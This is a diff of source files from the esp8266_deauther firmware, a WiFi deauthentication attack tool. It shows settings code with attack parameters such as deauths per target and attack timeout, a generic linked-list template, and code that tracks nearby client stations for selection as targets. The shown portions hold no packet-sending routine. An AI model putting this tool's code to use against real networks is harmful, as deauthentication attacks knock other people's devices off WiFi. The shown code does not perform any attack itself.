void Settings::setChannel(uint8_t channel) {
if (channel >= 1 && channel <= maxCh) {
Settings::channel = channel;
setWifiChannel(channel);
changed = true;
prnt(S_CHANNEL_CHANGE);
prntln(channel);
} else {
prnt(S_CHANNEL_ERROR);
prntln(maxCh);
}
}
void Settings::setSSID(String ssid) {
if (ssid.length() > 0 && ssid.length() <= 32) {
ssid = fixUtf8(ssid);
Settings::ssid = ssid;
changed = true;
} else {
prntln(S_ERROR_SSID_LEN);
}
}
void Settings::setPassword(String password) {
if (password.length() >= 8 && password.length() <= 32) {
password = fixUtf8(password);
Settings::password = password;
changed = true;
} else {
prntln(S_ERROR_PASSWORD_LEN);
}
}
void Settings::setSerialInterface(bool serialInterface) {
Settings::serialInterface = serialInterface;
changed = true;
}
void Settings::setDisplayInterface(bool displayInterface) {
Settings::displayInterface = displayInterface;
changed = true;
}
void Settings::setWebInterface(bool webInterface) {
Settings::webInterface = webInterface;
changed = true;
}
void Settings::setChTime(uint16_t chTime) {
Settings::chTime = chTime;
changed = true;
}
void Settings::setMacSt(String macStr) {
uint8_t mac[6];
if(eqls(macStr, S_RANDOM))
getRandomMac(mac);
else
strToMac(macStr, mac);
setMacSt(mac);
}
bool Settings::setMacSt(uint8_t* macSt){
if(macSt[0] % 2 == 0){
memcpy(Settings::macSt, macSt, 6);
changed = true;
return true;
}
return false;
}
void Settings::setMacAP(String macStr){
uint8_t mac[6];
if(eqls(macStr, S_RANDOM))
getRandomMac(mac);
else
strToMac(macStr, mac);
setMacAP(mac);
}
bool Settings::setMacAP(uint8_t* macAP){
if(macAP[0] % 2 == 0){
memcpy(Settings::macAP, macAP, 6);
changed = true;
return true;
}
return false;
}
void Settings::setRandomTX(bool randomTX){
Settings::randomTX = randomTX;
changed = true;
}
void Settings::setAttackTimeout(uint32_t attackTimeout){
Settings::attackTimeout = attackTimeout;
changed = true;
}
void Settings::setLedEnabled(bool ledEnabled) {
Settings::ledEnabled = ledEnabled;
changed = true;
}
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
if(probesPerSSID > 0){
Settings::probesPerSSID = probesPerSSID;
changed = true;
}
}
void Settings::setHidden(bool hidden) {
Settings::hidden = hidden;
changed = true;
}
void Settings::setCaptivePortal(bool captivePortal){
Settings::captivePortal = captivePortal;
changed = true;
}
void Settings::setMinDeauths(uint16_t minDeauths){
Settings::minDeauths = minDeauths;
changed = true;
}
void Settings::setDisplayTimeout(uint32_t displayTimeout){
Settings::displayTimeout = displayTimeout;
changed = true;
}
void Settings::setLang(String lang){
Settings::lang = lang;
changed = true;
}
void Settings::setSerialEcho(bool serialEcho){
Settings::serialEcho = serialEcho;
changed = true;
}
void Settings::setWebSpiffs(bool webSpiffs){
Settings::webSpiffs = webSpiffs;
changed = true;
}

View File

@ -1,143 +0,0 @@
#ifndef Settings_h
#define Settings_h
#include "Arduino.h"
#include <FS.h>
extern "C" {
#include "user_interface.h"
}
#include <ArduinoJson.h>
#include "language.h"
#include "A_config.h"
#define VERSION "v2.0.5"
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
extern bool writeFile(String path, String &buf);
extern void saveJSONFile(String path, JsonObject &root);
extern String macToStr(uint8_t* mac);
extern void getRandomMac(uint8_t* mac);
extern bool strToMac(String macStr, uint8_t* mac);
extern void setWifiChannel(uint8_t ch);
extern String fixUtf8(String str);
extern void copyWebFiles(bool force);
class Settings {
public:
Settings();
void load();
void load(String filepath);
void save(bool force);
void save(bool force,String filepath);
void reset();
void print();
void set(const char* str, String value);
String get(const char* str);
String getVersion();
uint16_t getDeauthsPerTarget();
uint8_t getDeauthReason();
bool getBeaconChannel();
uint8_t getForcePackets();
bool getAutosave();
uint32_t getAutosaveTime();
uint8_t getMaxCh();
bool getBeaconInterval();
uint8_t getChannel();
String getSSID();
String getPassword();
bool getSerialInterface();
bool getDisplayInterface();
bool getWebInterface();
uint16_t getChTime();
uint8_t* getMacSt();
uint8_t* getMacAP();
bool getRandomTX();
uint32_t getAttackTimeout();
bool getLedEnabled();
uint8_t getProbesPerSSID();
bool getHidden();
bool getCaptivePortal();
uint16_t getMinDeauths();
uint32_t getDisplayTimeout();
String getLang();
bool getSerialEcho();
bool getWebSpiffs();
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
void setDeauthReason(uint8_t deauthReason);
void setBeaconChannel(bool beaconChannel);
void setForcePackets(uint8_t forcePackets);
void setAutosave(bool autosave);
void setAutosaveTime(uint32_t autosaveTime);
void setMaxCh(uint8_t maxCh);
void setBeaconInterval(bool beaconInterval);
void setChannel(uint8_t channel);
void setSSID(String ssid);
void setPassword(String password);
void setSerialInterface(bool serialInterface);
void setDisplayInterface(bool displayInterface);
void setWebInterface(bool webInterface);
void setChTime(uint16_t chTime);
void setMacSt(String macStr);
bool setMacSt(uint8_t* macSt);
void setMacAP(String macStr);
bool setMacAP(uint8_t* macAP);
void setRandomTX(bool randomTX);
void setAttackTimeout(uint32_t attackTimeout);
void setLedEnabled(bool ledEnabled);
void setProbesPerSSID(uint8_t probesPerSSID);
void setHidden(bool hidden);
void setCaptivePortal(bool captivePortal);
void setMinDeauths(uint16_t minDeauths);
void setDisplayTimeout(uint32_t displayTimeout);
void setLang(String lang);
void setSerialEcho(bool serialEcho);
void setWebSpiffs(bool webSpiffs);
private:
bool changed = false;
String version = VERSION;
bool beaconChannel = false;
bool autosave = true;
bool beaconInterval = false;
bool serialInterface = true;
bool displayInterface = USE_DISPLAY;
bool webInterface = true;
bool webSpiffs = false;
bool randomTX = false;
bool ledEnabled = true;
bool serialEcho = true;
uint32_t attackTimeout = 600;
uint32_t autosaveTime = 10000;
uint32_t displayTimeout = 600;
uint16_t deauthsPerTarget = 20;
uint16_t chTime = 384;
uint16_t minDeauths = 3;
uint8_t forcePackets = 1;
uint8_t maxCh = 13;
uint8_t channel = 1;
uint8_t deauthReason = 1;
uint8_t* macSt;
uint8_t* macAP;
uint8_t probesPerSSID = 1;
String ssid = "pwned";
String password = "deauther";
bool hidden = false;
bool captivePortal = true;
String lang = "en";
String FILE_PATH = "/settings.json";
String getJsonStr();
};
#endif

View File

@ -1,362 +1,515 @@
#ifndef SimpleList_h
#define SimpleList_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include <stddef.h>
#pragma once
#include <type_traits>
#include <cstddef>
#include <functional>
template<class T>
struct Node {
T data;
Node<T> *next;
struct SimpleListNode {
T data;
SimpleListNode<T>* next = NULL;
};
template<typename T>
class SimpleList{
public:
SimpleList();
~SimpleList();
virtual int size();
virtual void add(int index, T obj);
virtual void add(T obj);
virtual void replace(int index, T obj);
virtual void remove(int index);
virtual T shift();
virtual T pop();
virtual T get(int index);
virtual int search(std::function<bool(T &a)> cmp);
virtual int searchNext(std::function<bool(T &a)> cmp);
virtual int binSearch(std::function<int(T &a)> cmp, int lowerEnd, int upperEnd);
virtual int binSearch(std::function<int(T &a)> cmp);
virtual int count(std::function<bool(T &a)> cmp);
virtual void clear();
virtual void sort(std::function<bool(T &a, T &b)> cmp);
virtual void swap(int x, int y);
protected:
int listSize;
Node<T>* listBegin;
Node<T>* listEnd;
// Helps get() method by saving last position
Node<T>* lastNodeGot;
int lastIndexGot;
bool isCached;
Node<T>* getNode(int index);
class SimpleList {
public:
SimpleList();
SimpleList(int(*compare)(T & a, T & b));
virtual ~SimpleList();
virtual void setCompare(int (* compare)(T& a, T& b));
virtual int size();
virtual bool isSorted();
virtual bool isEmpty();
virtual void add(int index, T obj);
virtual void add(T obj);
virtual void insert(T obj);
virtual void replace(int index, T obj);
virtual void swap(int x, int y);
virtual void remove(int index);
virtual void removeFirst();
virtual void removeLast();
virtual bool has(T obj);
virtual int count(T obj);
virtual T shift();
virtual T pop();
virtual T get(int index);
virtual T getFirst();
virtual T getLast();
virtual void moveToEnd();
virtual int search(T obj);
virtual int searchNext(T obj);
virtual int binSearch(T obj);
virtual void sort();
virtual void clear();
protected:
int (* compare)(T& a, T& b) = NULL;
int listSize = 0;
SimpleListNode<T>* listBegin = NULL;
SimpleListNode<T>* listEnd = NULL;
// Helps get() method by saving last position
SimpleListNode<T>* lastNodeGot = NULL;
int lastIndexGot = -1;
bool isCached = false;
bool sorted = true;
virtual SimpleListNode<T>* getNode(int index);
virtual int binSearch(T obj, int lowerEnd, int upperEnd);
};
template<typename T>
SimpleList<T>::SimpleList(){
listBegin = NULL;
listEnd = NULL;
listSize = 0;
SimpleList<T>::SimpleList() {}
lastNodeGot = NULL;
lastIndexGot = -1;
isCached = false;
template<typename T>
SimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {
setCompare(compare);
}
// Clear Nodes and free Memory
template<typename T>
SimpleList<T>::~SimpleList(){
clear();
listBegin = NULL;
listEnd = NULL;
listSize = 0;
lastNodeGot = NULL;
lastIndexGot = -1;
isCached = false;
SimpleList<T>::~SimpleList() {
clear();
}
template<typename T>
Node<T>* SimpleList<T>::getNode(int index){
if(index < 0 || index >= listSize)
return NULL;
Node<T>* hNode = listBegin;
int c = 0;
if(isCached && index >= lastIndexGot){
c = lastIndexGot;
hNode = lastNodeGot;
}
while(hNode != NULL && c < index){
hNode = hNode->next;
c++;
}
if(hNode){
isCached = true;
lastIndexGot = c;
lastNodeGot = hNode;
}
return hNode;
void SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {
this->compare = compare;
sort();
}
template<typename T>
int SimpleList<T>::size(){
return listSize;
}
SimpleListNode<T>* SimpleList<T>::getNode(int index) {
if ((index < 0) || (index >= listSize)) return NULL;
template<typename T>
void SimpleList<T>::add(T obj){
Node<T> *node = new Node<T>();
node->data = obj;
node->next = NULL;
if(!listBegin)
listBegin = node;
if(listEnd){
listEnd->next = node;
listEnd = node;
} else {
listEnd = node;
}
SimpleListNode<T>* hNode = listBegin;
int c = 0;
listSize++;
}
template<typename T>
void SimpleList<T>::add(int index, T obj){
if(index < 0 || index >= listSize){
add(obj);
return;
}
Node<T> *nodeNew = new Node<T>();
nodeNew->data = obj;
nodeNew->next = NULL;
if(index == 0)
listBegin = nodeNew;
else{
Node<T>* nodePrev = getNode(index - 1);
nodeNew->next = nodePrev->next;
nodePrev->next = nodeNew;
}
listSize++;
}
template<typename T>
void SimpleList<T>::replace(int index, T obj){
if(index >= 0 && index < listSize){
getNode(index)->data = obj;
}
}
template<typename T>
void SimpleList<T>::remove(int index){
if (index < 0 || index >= listSize)
return;
Node<T>* nodePrev = getNode(index - 1);
Node<T>* nodeToDelete = getNode(index);
if(index == 0) {
listBegin = nodeToDelete->next;
} else {
nodePrev->next = nodeToDelete->next;
if(!nodePrev->next)
listEnd = nodePrev;
}
delete nodeToDelete;
isCached = false;
listSize--;
}
template<typename T>
T SimpleList<T>::get(int index){
Node<T> *hNode = getNode(index);
return (hNode ? hNode->data : T());
}
template<typename T>
int SimpleList<T>::search(std::function<bool(T &a)> cmp){
int i = 0;
Node<T>* hNode = getNode(i);
bool found = cmp(hNode->data);
while(!found && i < listSize){
i++;
hNode = getNode(i);
found = cmp(hNode->data);
}
return found ? i : -1;
}
template<typename T>
int SimpleList<T>::searchNext(std::function<bool(T &a)> cmp){
int i = lastIndexGot;
Node<T>* hNode = lastNodeGot;
bool found = cmp(hNode->data);
while(!found && i < listSize){
i++;
hNode = getNode(i);
found = cmp(hNode->data);
}
return found ? i : -1;
}
template<typename T>
int SimpleList<T>::binSearch(std::function<int(T &a)> cmp, int lowerEnd, int upperEnd){
int res;
int mid = (lowerEnd + upperEnd) / 2;
Node<T>* hNode = listBegin;
int hIndex = 0;
while (lowerEnd <= upperEnd) {
hNode = lastNodeGot;
hIndex = lastIndexGot;
res = cmp(getNode(mid)->data);
if (res == 0) {
return mid;
} else if (res < 0) {
// when going left, set cached node back to previous cached node
lastNodeGot = hNode;
lastIndexGot = hIndex;
isCached = true;
upperEnd = mid - 1;
mid = (lowerEnd + upperEnd) / 2;
} else if (res > 0) {
lowerEnd = mid + 1;
mid = (lowerEnd + upperEnd) / 2;
if (isCached && (index >= lastIndexGot)) {
c = lastIndexGot;
hNode = lastNodeGot;
}
}
return -1;
while (hNode && c < index) {
hNode = hNode->next;
c++;
}
if (hNode) {
isCached = true;
lastIndexGot = c;
lastNodeGot = hNode;
}
return hNode;
}
template<typename T>
int SimpleList<T>::binSearch(std::function<int(T &a)> cmp){
return binSearch(cmp,0,listSize-1);
int SimpleList<T>::size() {
return listSize;
}
template<typename T>
int SimpleList<T>::count(std::function<bool(T &a)> cmp){
int c = 0;
for(int i=0;i<listSize;i++){
c += cmp(getNode(i)->data);
}
return c;
bool SimpleList<T>::isSorted() {
return sorted;
}
template<typename T>
T SimpleList<T>::pop(){
if(listSize <= 0)
return T();
T data = listEnd->data;
remove(listSize-1);
return data;
bool SimpleList<T>::isEmpty() {
return listSize == 0;
}
template<typename T>
T SimpleList<T>::shift(){
if(listSize <= 0)
return T();
T data = listBegin->data;
remove(0);
return data;
void SimpleList<T>::add(T obj) {
// create new node
SimpleListNode<T>* newNode = new SimpleListNode<T>();
newNode->data = obj;
if (!listBegin) listBegin = newNode;
if (listEnd) {
listEnd->next = newNode;
listEnd = newNode;
} else {
listEnd = newNode;
}
listSize++;
sorted = false;
}
template<typename T>
void SimpleList<T>::clear(){
while(listSize > 0)
void SimpleList<T>::add(int index, T obj) {
if ((index < 0) || (index >= listSize)) {
return;
}
SimpleListNode<T>* newNode = new SimpleListNode<T>();
newNode->data = obj;
if (index == 0) {
listBegin = newNode;
} else {
SimpleListNode<T>* nodePrev = getNode(index - 1);
newNode->next = nodePrev->next;
nodePrev->next = newNode;
}
listSize++;
sorted = false;
}
template<typename T>
void SimpleList<T>::insert(T obj) {
if (!compare) {
add(obj);
return;
}
if (!sorted) sort();
// create new node
SimpleListNode<T>* newNode = new SimpleListNode<T>();
newNode->data = obj;
if (listSize == 0) {
// add at start (first node)
listBegin = newNode;
listEnd = newNode;
} else {
if (compare(obj, listEnd->data) >= 0) {
// add at end
listEnd->next = newNode;
listEnd = newNode;
} else if (compare(obj, listBegin->data) < 0) {
// add at start
newNode->next = listBegin;
listBegin = newNode;
} else {
// insertion sort
SimpleListNode<T>* h = listBegin;
SimpleListNode<T>* p = NULL;
bool found = false;
// here a sequential search, because otherwise the previous node couldn't be accessed
while (h && !found) {
if (compare(obj, h->data) < 0) {
found = true;
} else {
p = h;
h = h->next;
}
}
newNode->next = h;
if (p) p->next = newNode;
}
}
listSize++;
}
template<typename T>
void SimpleList<T>::replace(int index, T obj) {
if ((index >= 0) && (index < listSize)) {
getNode(index)->data = obj;
}
}
template<typename T>
void SimpleList<T>::swap(int x, int y) {
// only continue when the index numbers are unequal and at least 0
if ((x != y) && (x >= 0) && (y >= 0)) {
if (x > y) { // the first index should be smaller than the second. If not, swap them!
int h = x;
x = y;
y = h;
}
// When data is small, copy it
if (sizeof(T) < 24) {
SimpleListNode<T>* nodeA = getNode(x);
SimpleListNode<T>* nodeB = getNode(y);
T h = nodeA->data;
nodeA->data = nodeB->data;
nodeB->data = h;
}
// otherwise change the pointers
else {
// Example: a -> b -> c -> ... -> g -> h -> i
// we want to swap b with h
SimpleListNode<T>* nodeA = getNode(x - 1); // x.prev
SimpleListNode<T>* nodeB = getNode(x); // x
SimpleListNode<T>* nodeC = getNode(x + 1); // x.next
SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
SimpleListNode<T>* nodeH = getNode(y); // y
SimpleListNode<T>* nodeI = getNode(y + 1); // y.next
// a -> h -> i b -> c -> ... -> g -> h -> i
if (nodeA) nodeA->next = nodeH;
else listBegin = nodeH;
// a -> h -> c -> ... -> g -> h -> i b -> i
if (nodeH != nodeC) // when nodes between b and h exist
nodeH->next = nodeC;
else nodeH->next = nodeB;
// a -> h -> i b -> i
nodeB->next = nodeI;
if (!nodeI) listEnd = nodeB;
// a -> h -> c -> ... -> g -> b -> i
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
nodeG->next = nodeB;
}
}
}
template<typename T>
void SimpleList<T>::remove(int index) {
if ((index < 0) || (index >= listSize)) return;
SimpleListNode<T>* nodePrev = getNode(index - 1);
SimpleListNode<T>* nodeToDelete = getNode(index);
if (index == 0) {
listBegin = nodeToDelete->next;
} else {
nodePrev->next = nodeToDelete->next;
if (!nodePrev->next) listEnd = nodePrev;
}
delete nodeToDelete;
isCached = false;
listSize--;
}
template<typename T>
void SimpleList<T>::removeFirst() {
remove(0);
}
template<typename T>
void SimpleList<T>::swap(int x, int y){
// only continue when the index numbers are unequal and at least 0
if(x != y && x >= 0 && y >= 0){
if(x > y){ // the first index should be smaller than the second. If not, swap them!
int h = x;
x = y;
y = h;
}
// When data is small, copy it
if(sizeof(T) < 24){
Node<T>* nodeA = getNode(x);
Node<T>* nodeB = getNode(y);
T h = nodeA->data;
nodeA->data = nodeB->data;
nodeB->data = h;
}
// otherwise change the pointers
else {
// Example: a -> b -> c -> ... -> g -> h -> i
// we want to swap b with h
Node<T>* nodeA = getNode(x - 1); // x.prev
Node<T>* nodeB = getNode(x); // x
Node<T>* nodeC = getNode(x + 1); // x.next
Node<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
Node<T>* nodeH = getNode(y); // y
Node<T>* nodeI = getNode(y + 1); // y.next
// a -> h -> i b -> c -> ... -> g -> h -> i
if(nodeA)
nodeA->next = nodeH;
else
listBegin = nodeH;
// a -> h -> c -> ... -> g -> h -> i b -> i
if(nodeH != nodeC) // when nodes between b and h exist
nodeH->next = nodeC;
else
nodeH->next = nodeB;
// a -> h -> i b -> i
nodeB->next = nodeI;
if(!nodeI)
listEnd = nodeB;
// a -> h -> c -> ... -> g -> b -> i
if(nodeG != nodeB) // when more than 1 nodes between b and h exist
nodeG->next = nodeB;
}
}
void SimpleList<T>::removeLast() {
remove(listSize - 1);
}
template<typename T>
void SimpleList<T>::sort(std::function<bool(T &a, T &b)> cmp) {
// selection sort
int indexH; // index of node i
int indexMin; // index of next minimum node
Node<T>* nodeMin; // next minimum node
Node<T>* nodeH; // helper node at index j
for(int i=0; i<listSize-1; i++){
nodeMin = getNode(i);
indexH = i;
indexMin = i;
for(int j=i+1; j<listSize; j++){
nodeH = getNode(j);
if(cmp(nodeMin->data, nodeH->data)){
nodeMin = nodeH;
indexMin = j;
}
}
swap(indexH, indexMin);
}
bool SimpleList<T>::has(T obj) {
return binSearch(obj) >= 0;
}
#endif
template<typename T>
int SimpleList<T>::count(T obj) {
if (compare == NULL) return -1;
int c = 0;
for (int i = 0; i < listSize; i++) {
if (compare(obj, getNode(i)->data) == 0) c++;
}
return c;
}
template<typename T>
T SimpleList<T>::get(int index) {
SimpleListNode<T>* h = getNode(index);
if (h) return h->data;
return T();
}
template<typename T>
T SimpleList<T>::getFirst() {
return get(0);
}
template<typename T>
T SimpleList<T>::getLast() {
return get(listSize - 1);
}
template<typename T>
void SimpleList<T>::moveToEnd() {
SimpleListNode<T>* h = listBegin;
if (!h) return;
listBegin = listBegin->next;
listEnd->next = h;
h->next = NULL;
listEnd = h;
lastNodeGot = NULL;
lastIndexGot = -1;
isCached = false;
sorted = false;
}
template<typename T>
int SimpleList<T>::search(T obj) {
if (compare == NULL) return -1;
int i = 0;
SimpleListNode<T>* hNode = getNode(i);
bool found = compare(obj, hNode->data) == 0;
while (!found && i < listSize) {
i++;
hNode = getNode(i);
found = compare(obj, hNode->data) == 0;
}
return found ? i : -1;
}
template<typename T>
int SimpleList<T>::searchNext(T obj) {
if (compare == NULL) return -1;
int i = lastIndexGot;
SimpleListNode<T>* hNode = lastNodeGot;
bool found = compare(obj, hNode->data) == 0;
while (!found && i < listSize) {
i++;
hNode = getNode(i);
found = compare(obj, hNode->data) == 0;
}
return found ? i : -1;
}
template<typename T>
int SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {
if (!compare || !sorted) return search(obj);
if (!listBegin) return -1;
int res;
int mid = (lowerEnd + upperEnd) / 2;
SimpleListNode<T>* hNode = getNode(0);
int hIndex = 0;
while (lowerEnd <= upperEnd) {
hNode = lastNodeGot;
hIndex = lastIndexGot;
res = compare(obj, getNode(mid)->data);
if (res == 0) {
return mid;
} else if (res < 0) {
// when going left, set cached node back to previous cached node
lastNodeGot = hNode;
lastIndexGot = hIndex;
isCached = true;
upperEnd = mid - 1;
mid = (lowerEnd + upperEnd) / 2;
} else if (res > 0) {
lowerEnd = mid + 1;
mid = (lowerEnd + upperEnd) / 2;
}
}
return -1;
}
template<typename T>
int SimpleList<T>::binSearch(T obj) {
return binSearch(obj, 0, listSize - 1);
}
template<typename T>
T SimpleList<T>::pop() {
T data = getLast();
removeLast();
return data;
}
template<typename T>
T SimpleList<T>::shift() {
T data = getFirst();
removeFirst();
return data;
}
template<typename T>
void SimpleList<T>::clear() {
while (listSize > 0) removeFirst();
listSize = 0;
listBegin = NULL;
listEnd = NULL;
lastNodeGot = NULL;
lastIndexGot = -1;
isCached = false;
sorted = true;
}
template<typename T>
void SimpleList<T>::sort() {
if (compare == NULL) return;
// selection sort (less swaps than insertion sort)
int indexH; // index of node i
int indexMin; // index of next minimum node
SimpleListNode<T>* nodeMin; // next minimum node
SimpleListNode<T>* nodeH; // helper node at index j
for (int i = 0; i < listSize - 1; i++) {
nodeMin = getNode(i);
indexH = i;
indexMin = i;
for (int j = i + 1; j < listSize; j++) {
nodeH = getNode(j);
if (compare(nodeMin->data, nodeH->data) > 0) {
nodeMin = nodeH;
indexMin = j;
}
}
swap(indexH, indexMin);
}
this->sorted = true;
}

View File

@ -1,326 +1,373 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Stations.h"
Stations::Stations() {
list = new SimpleList<Station>;
list = new SimpleList<Station>();
}
void Stations::add(uint8_t* mac, int accesspointNum) {
int stationNum = findStation(mac);
int stationNum = findStation(mac);
if (stationNum < 0) {
internal_add(mac, accesspointNum);
//print(list->size() - 1, list->size() == 1, false);
} else {
*getPkts(stationNum) += 1;
*getTime(stationNum) = currentTime;
}
changed = true;
if (stationNum < 0) {
internal_add(mac, accesspointNum);
// print(list->size() - 1, list->size() == 1, false);
} else {
*getPkts(stationNum) += 1;
*getTime(stationNum) = currentTime;
}
changed = true;
}
int Stations::findStation(uint8_t* mac) {
int c = count();
for (int i = 0; i < c; i++) {
if (memcmp(getMac(i), mac, 6) == 0)
return i;
}
return -1;
int c = count();
for (int i = 0; i < c; i++) {
if (memcmp(getMac(i), mac, 6) == 0) return i;
}
return -1;
}
void Stations::sort() {
list->sort([](Station &a, Station &b) -> bool{
return (*a.pkts < *b.pkts);
});
list->setCompare([](Station& a, Station& b) -> int {
if (*(a.pkts) > *(b.pkts)) return -1;
if (*(a.pkts) == *(b.pkts)) return 0;
return 1;
});
list->sort();
}
void Stations::sortAfterChannel() {
list->sort([](Station &a, Station &b) -> bool{
return (a.ch > b.ch);
});
list->setCompare([](Station& a, Station& b) -> int {
if (a.ch < b.ch) return -1;
if (a.ch == b.ch) return 0;
return 1;
});
list->sort();
}
void Stations::removeAll() {
internal_removeAll();
prntln(ST_CLEARED_LIST);
changed = true;
}
void Stations::remove(int num) {
if (!check(num)) return;
internal_remove(num);
prnt(ST_REMOVED_STATION);
prntln(num);
changed = true;
internal_removeAll();
prntln(ST_CLEARED_LIST);
changed = true;
}
void Stations::removeOldest() {
int oldest = 0;
int c = count();
for (int i = 1; i < c; i++) {
if (*getTime(i) > *getTime(oldest))
oldest = i;
}
internal_remove(oldest);
changed = true;
int oldest = 0;
int c = count();
for (int i = 1; i < c; i++) {
if (*getTime(i) > *getTime(oldest)) oldest = i;
}
internal_remove(oldest);
changed = true;
}
void Stations::printAll() {
prntln(ST_HEADER);
int c = count();
if (c == 0)
prntln(ST_LIST_EMPTY);
else
for (int i = 0; i < c; i++)
print(i, i == 0, i == c - 1);
prntln(ST_HEADER);
int c = count();
if (c == 0) prntln(ST_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Stations::printSelected() {
prntln(ST_HEADER);
int max = selected();
int c = count();
if (max == 0) {
prntln(ST_NO_DEVICES_SELECTED);
return;
}
for (int i = 0, j = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
prntln(ST_HEADER);
int max = selected();
int c = count();
if (max == 0) {
prntln(ST_NO_DEVICES_SELECTED);
return;
}
for (int i = 0, j = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
}
void Stations::print(int num) {
print(num, true, true);
print(num, true, true);
}
void Stations::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(ST_TABLE_HEADER);
prntln(ST_TABLE_DIVIDER);
}
if (!check(num)) return;
prnt(buildString(String(),(String)num, 2));
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
prnt(buildString(String(SPACE), (String)getCh(num), 3));
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
prnt(buildString(String(SPACE), (String)*getPkts(num), 9));
prnt(buildString(String(SPACE) + getAPStr(num), String(), 33));
prnt(buildString(String(SPACE) + getTimeStr(num), String(), 10));
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer)
prntln(ST_TABLE_DIVIDER);
if (header) {
prntln(ST_TABLE_HEADER);
prntln(ST_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) prntln(ST_TABLE_DIVIDER);
}
String Stations::getAPStr(int num) {
if (getAP(num) < 0) return String();
return accesspoints.getSSID(getAP(num));
if (getAP(num) < 0) return String();
return accesspoints.getSSID(getAP(num));
}
uint8_t* Stations::getAPMac(int num){
if (!check(num)) return 0;
return WiFi.BSSID(list->get(num).ap);
uint8_t* Stations::getAPMac(int num) {
if (!check(num)) return 0;
return WiFi.BSSID(list->get(num).ap);
}
String Stations::getAPMacStr(int num){
if (!check(num)) return String();
uint8_t* mac = getAPMac(num);
return bytesToStr(mac, 6);
String Stations::getAPMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getAPMac(num);
return bytesToStr(mac, 6);
}
int Stations::getAP(int num) {
if (!check(num)) return -1;
return accesspoints.find(list->get(num).ap);
if (!check(num)) return -1;
return accesspoints.find(list->get(num).ap);
}
String Stations::getNameStr(int num) {
if (!check(num)) return String();
return names.find(getMac(num));
if (!check(num)) return String();
return names.find(getMac(num));
}
bool Stations::hasName(int num) {
if (!check(num)) return false;
return names.findID(getMac(num)) >= 0;
if (!check(num)) return false;
return names.findID(getMac(num)) >= 0;
}
uint8_t* Stations::getMac(int num) {
if (!check(num)) return 0;
return list->get(num).mac;
if (!check(num)) return 0;
return list->get(num).mac;
}
String Stations::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Stations::getMacVendorStr(int num) {
String value;
if (check(num)){
value = getVendorStr(num) + ":";
uint8_t* mac = getMac(num);
for (int i = 3; i < 6; i++) {
if (mac[i] < 0x10) value += "0";
value += String(mac[i], HEX);
if (i < 5) value += ":";
String value;
if (check(num)) {
value = getVendorStr(num) + ":";
uint8_t* mac = getMac(num);
for (int i = 3; i < 6; i++) {
if (mac[i] < 0x10) value += "0";
value += String(mac[i], HEX);
if (i < 5) value += ":";
}
}
}
return value;
return value;
}
String Stations::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
}
String Stations::getSelectedStr(int num) {
return b2a(getSelected(num));
return b2a(getSelected(num));
}
uint32_t* Stations::getPkts(int num) {
if (!check(num)) return NULL;
return list->get(num).pkts;
if (!check(num)) return NULL;
return list->get(num).pkts;
}
uint32_t* Stations::getTime(int num) {
if (!check(num)) return NULL;
return list->get(num).time;
if (!check(num)) return NULL;
return list->get(num).time;
}
String Stations::getTimeStr(int num) {
if (!check(num)) return String();
uint32_t difference = currentTime - *getTime(num);
if (!check(num)) return String();
if (difference < 1000)
return str(ST_SMALLER_ONESEC);
else if (difference < 60000)
return str(ST_SMALLER_ONEMIN);
else {
uint32_t minutes = difference / 60000;
if (minutes > 60)
return str(ST_BIGER_ONEHOUR);
else
return (String)minutes + str(STR_MIN);
}
uint32_t difference = currentTime - *getTime(num);
if (difference < 1000) return str(ST_SMALLER_ONESEC);
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
else {
uint32_t minutes = difference / 60000;
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
else return (String)minutes + str(STR_MIN);
}
}
bool Stations::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
if (!check(num)) return false;
return list->get(num).selected;
}
uint8_t Stations::getCh(int num) {
if (!check(num)) return 0;
return list->get(num).ch;
if (!check(num)) return 0;
return list->get(num).ch;
}
void Stations::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(ST_SELECTED_STATION);
prntln(num);
changed = true;
if (!check(num)) return;
internal_select(num);
prnt(ST_SELECTED_STATION);
prntln(num);
changed = true;
}
void Stations::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
